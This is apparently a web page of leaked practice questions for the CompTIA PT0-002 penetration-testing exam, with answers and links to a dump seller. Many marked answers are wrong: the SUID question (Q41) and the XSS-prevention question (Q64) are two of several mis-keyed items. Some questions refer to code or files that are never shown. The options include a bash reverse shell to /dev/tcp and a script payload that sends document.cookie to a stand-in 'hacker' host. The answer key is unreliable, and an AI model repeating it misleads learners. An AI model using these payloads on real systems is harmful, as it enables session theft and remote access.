Updated Dec 08, 2021 Verified Pass PT0-002 Exam in First Attempt Guaranteed
Free PT0-002 Sample Questions and 100% Cover Real Exam Questions (Updated 112 Questions)
NEW QUESTION 41
A penetration tester runs the following command on a system:
find / -user root -perm -4000 -print 2>/dev/null
Which of the following is the tester trying to accomplish?
- A. Find files that were created during exploitation and move them to /dev/null
- B. Find the /root directory on the system
- C. Set the SGID on all files in the / directory
- D. Find files with the SUID bit set
Answer: A
NEW QUESTION 42
A penetration tester ran the following command on a staging server:
python -m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?
- A. powershell -exec bypass -f \\10.10.51.50\9891
- B. nc 10.10.51.50 9891 < exploit
- C. wget 10.10.51.50:9891/exploit
- D. bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
Answer: C
NEW QUESTION 43
A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?
- A. Implement a recurring cybersecurity awareness education program for all users.
- B. Implement an email security gateway to block spam and malware from email communications.
- C. Implement multifactor authentication on all corporate applications.
- D. Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
Answer: A
NEW QUESTION 44
Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?
- A. FTPS
- B. DNSSEC
- C. AS2
- D. S/MIME
Answer: D
NEW QUESTION 45
A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?
- A. VRFY and TURN
- B. RCPT TO and VRFY
- C. EXPN and TURN
- D. VRFY and EXPN
Answer: D
NEW QUESTION 46
A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?
- A. The proper emergency contacts for the client
- B. The expected time frame of the assessment
- C. The correct user accounts and associated passwords
- D. A signed statement of work
Answer: B
NEW QUESTION 47
A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?
- A. Semicolon
- B. Single quote
- C. Comma
- D. Double dash
Answer: B
NEW QUESTION 48
A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?
- A. iam_backdoor_assume_role
- B. iam_bruteforce_permissions
- C. iam_privesc_scan
- D. iam_enum_permissions
Answer: D
NEW QUESTION 49
A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?
- A. nmap 192.168.1.1-5 -Ss22-25,80
- B. nmap 192.168.1.1-5 -PA22-25,80
- C. nmap 192.168.1.1-5 -PU22-25,80
- D. nmap 192.168.1.1-5 -PS22-25,80
Answer: D
NEW QUESTION 50
The results of an Nmap scan are as follows:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 10.2.1.22 )
Host is up (0.0102s latency).
Not shown: 998 filtered ports
Port State Service
80/tcp open http
|_http-title: 80F 22% RH 1009.1MB (text/html)
|_http-slowloris-check:
| VULNERABLE:
| Slowloris DoS Attack
| <..>
Device type: bridge|general purpose
Running (JUST GUESSING) : QEMU (95%)
OS CPE: cpe:/a:qemu:qemu
No exact OS matches found for host (test conditions non-ideal).
OS detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds
Which of the following device types will MOST likely have a similar response? (Choose two.)
- A. Public-facing web server
- B. Exposed RDP
- C. IoT/embedded device
- D. Active Directory domain controller
- E. Network device
- F. Print queue
Answer: A,E
NEW QUESTION 51
A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?
- A. Wireshark
- B. Aircrack-ng
- C. Kismet
- D. Wifite
Answer: B
NEW QUESTION 52
An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?
- A. Report any findings to regulatory oversight groups
- B. Follow the established data retention and destruction process
- C. Encrypt and store any client information for future analysis
- D. Publish the findings after the client reviews the report
Answer: C
NEW QUESTION 53
A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection?
- A. nmap -sA -sV --host-timeout 60 192.168.1.10
- B. nmap -f --badsum 192.168.1.10
- C. nmap -p0 -T0 -sS 192.168.1.10
- D. nmap -A -n 192.168.1.10
Answer: A
NEW QUESTION 54
A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?
- A. nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan
- B. nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan
- C. nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan
- D. nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan
Answer: C
NEW QUESTION 55
In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?
- A. Attempt to brute force authentication to the service.
- B. Check for an open relay configuration.
- C. Perform a reverse DNS query and match to the service banner.
- D. Test for RFC-defined protocol conformance.
Answer: C
NEW QUESTION 56
A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:
Which of the following tools will help the tester prepare an attack for this scenario?
- A. Burp Suite and DIRB
- B. Netcat and cURL
- C. Hydra and crunch
- D. Nmap and OWASP ZAP
Answer: C
NEW QUESTION 57
A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)
- A. IP addresses and subdomains
- B. Externally facing open ports
- C. Shodan results
- D. Internet search engines
- E. Zone transfers
- F. DNS forward and reverse lookups
Answer: A,E
NEW QUESTION 58
A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:
Which of the following is the BEST method to help an attacker gain internal access to the affected machine?
- A. Download the smb.conf file and look at configurations
- B. Edit the discovered file with one line of code for remote callback
- C. Download .pl files and look for usernames and passwords
- D. Edit the smb.conf file and upload it to the server
Answer: D
NEW QUESTION 59
A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:
Have a full TCP connection
Send a "hello" payload
Walt for a response
Send a string of characters longer than 16 bytes
Which of the following approaches would BEST support the objective?
- A. Create a script in the Lua language and use it with NSE.
- B. Employ an OpenVAS simple scan against the TCP port of the host.
- C. Run nmap -Pn -sV -script vuln <IP address>.
- D. Perform a credentialed scan with Nessus.
Answer: D
NEW QUESTION 60
A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)
- A. Open-source research
- B. Traffic sniffing
- C. A vulnerability scan
- D. An Nmap scan
- E. A ping sweep
- F. Port knocking
Answer: C,D
NEW QUESTION 61
A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)
- A. Wireshark
- B. Shodan
- C. Retina
- D. Burp Suite
- E. Nessus
- F. Nikto
Answer: A,B
NEW QUESTION 62
A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?
- A. Ping of death
- B. Smurf
- C. Ping flood
- D. Fraggle
Answer: B
NEW QUESTION 63
A penetration tester runs a scan against a server and obtains the following output:
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-12-20 09:23AM 331 index.aspx
| ftp-syst:
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2012 Std
3389/tcp open ssl/ms-wbt-server
| rdp-ntlm-info:
| Target Name: WEB3
| NetBIOS_Computer_Name: WEB3
| Product_Version: 6.3.9600
|_ System_Time: 2021-01-15T11:32:06+00:00
8443/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
Which of the following command sequences should the penetration tester try NEXT?
- A. smbclient \\\\WEB3\\IPC$ -I 192.168.53.23 -U guest
- B. nmap --script vuln -sV 192.168.53.23
- C. curl -X TRACE https://192.168.53.23:8443/index.aspx
- D. ncrack -u Administrator -P 15worst_passwords.txt -p rdp 192.168.53.23
- E. ftp 192.168.53.23
Answer: E
NEW QUESTION 64
Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
- A. Input validation
- B. Web-application firewall
- C. Output encoding
- D. Session tokens
- E. Base64 encoding
- F. Parameterized queries
Answer: D,F
NEW QUESTION 65
......
Download Real CompTIA PT0-002 Exam Dumps Test Engine Exam Questions: https://www.validtorrent.com/PT0-002-valid-exam-torrent.html
Verified PT0-002 Dumps Q&As - PT0-002 Test Engine with Correct Answers: https://drive.google.com/open?id=1iSee1Q6ZlF8zoSMOdpSdHkA8EhKYKC4Y